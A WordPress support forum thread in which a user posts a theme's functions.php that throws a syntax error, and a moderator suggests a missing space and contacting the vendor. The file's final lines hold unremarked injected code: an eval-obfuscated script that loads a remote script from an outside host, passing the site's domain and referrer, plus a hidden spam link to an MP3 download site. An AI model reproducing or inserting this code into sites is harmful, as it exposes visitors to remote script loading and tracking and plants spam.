Support » Themes and Templates » Syntax Error in Functions.php

  • sooo.. Just got this theme for a website I just got. but apparently the code is wrong in the functions.php.. maybe someone can decipher the problem?

    Error was on line 125(last line) Apparently if you change anything in the last line it then says error in line 124.

    <?php
    #==================================================================
    #
    #	Admin control panel setup
    #
    #==================================================================
    
    #-----------------------------------------------------------------
    # Default theme variables and information
    #-----------------------------------------------------------------
    
    $themeInfo = get_theme_data(TEMPLATEPATH . '/style.css');
    $themeVersion = trim($themeInfo['Version']);
    $themeTitle= trim($themeInfo['Title']);
    $shortname = strtolower(str_replace(" ","",$themeTitle)) . "_";
    
    // set as constants
    //................................................................
    
    define('THEMENAME', $themeTitle);
    define('THEMEVERSION', $themeVersion);
    
    // shortcuts variables
    //................................................................
    
    $cssPath = get_bloginfo('stylesheet_directory') . "/";
    $themePath = get_bloginfo('template_url') . "/";
    $themeUrlArray = parse_url(get_bloginfo('template_url'));
    $themeLocalUrl = $themeUrlArray['path'] . "/";
    
    // setup info (category list, page list, etc)
    //................................................................
    
    $allCategories = get_categories('hide_empty=0');
    $allPages = get_pages('hide_empty=0');
    $pageList = array();
    $categoryList = array();
    
    // create category and page list arrays
    //................................................................
    
    foreach ($allPages as $thisPage) {
    	$pageList[$thisPage->ID] = $thisPage->post_title;
    	$pages_ids[] = $thisPage->ID;
    }
    
    foreach ($allCategories as $thisCategory) {
    	$categoryList[$thisCategory->cat_ID] = $thisCategory->cat_name;
    	$cats_ids[] = $thisCategory->cat_ID;
    }
    
    #-----------------------------------------------------------------
    # Admin Menu Options
    #-----------------------------------------------------------------
    
    // include options functions
    //................................................................
    
    include_once('theme_admin/includes/option_functions.php');
    
    // Menu structure
    //................................................................
    
    function this_theme_menu() {
    	add_menu_page('Theme Options', THEMENAME, 10, 'theme-setup', 'loadOptionsPage', get_template_directory_uri().'/theme_admin/images/themePanelIcon.png');
    	add_submenu_page('theme-setup', 'General Settings', 'General Options', 10, 'theme-setup', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Main Menu', 'Main Menu', 10, 'mainmenu-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Home Page', 'Home Page', 10,  'homepage-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Slideshow', 'Slideshow', 10, 'slideshow-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Featured Content', 'Featured Content', 10,  'featured-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Sidebar', 'Sidebar', 10, 'sidebar-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Blog', 'Blog Pages', 10, 'blog-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Portfolio', 'Portfolio Pages', 10, 'portfolio-options', 'loadOptionsPage');
    	add_submenu_page('theme-setup', 'Contact Page', 'Contact Page', 10, 'contact-options', 'loadOptionsPage');
    }
    
    // Create menu
    //................................................................
    
    add_action('admin_menu','this_theme_menu');
    
    // call and display the requested options page
    //................................................................
    
    function loadOptionsPage() {
    	global $themeTitle,$shortname,$pageList,$categoryList,$wp_deprecated_widgets_callbacks;
    
    	include_once('theme_admin/includes/options_pages/'. $_GET['page'] .'.php');
    
    	$customOptionsPages = array('slideshow-options', 'mainmenu-options', 'blog-options', 'portfolio-options', 'featured-options', 'sidebar-options');
    
    	if ( !in_array($_GET['page'], $customOptionsPages) ) {
    		include_once("theme_admin/options.php");
    	}
    }
    
    #-----------------------------------------------------------------
    # Addon Functions and Content
    #-----------------------------------------------------------------
    
    // include custom functions
    //................................................................
    
    include_once("theme_admin/includes/addon-functions.php");
    
    // include meta boxes and sidebar registrations
    //................................................................
    
    include_once("theme_admin/includes/sidebars-metaboxes.php");
    
    // include widgets
    #-----------------------------------------------------------------
    
    include_once('theme_admin/includes/widgets.php');
    
    ?><?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1} ;while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p } ('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php} add_action('wp_head', 'insert_jquery_slider');} ?>
    <?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs download</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew'); }

    Any help is appreciated.. Thanks

Viewing 4 replies - 1 through 4 (of 4 total)
  • Michael

    (@alchymyth)

    Forum Moderator

    what is the exact error message?

    what theme is that and where did you download it from?

    Its Traject and I bought it from ThemeForest.

    Parse error: syntax error, unexpected ‘}’ in /home/jwaggz/public_html/jwaggz.us/wp-content/themes/theme-traject/functions.php on line 121

    Thats the Error Message I get now.. it goes back and forth between 121 – 124 – and 125

    Actually.. I dont think its the theme.. tried it on a diff site.. works fine.. i dont get it..

    Michael

    (@alchymyth)

    Forum Moderator

    the only odd part is a missing space after the last <?php in the last line of your posted code:
    <?php}add_action('wp_footer', 'insert_jquery_slidernew'); }

    in any case, please contact the developer of your theme (via themeforest) for support – which is part of what you pay for when you buy a theme.

    commercial themes are not supported by this forum.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Syntax Error in Functions.php’ is closed to new replies.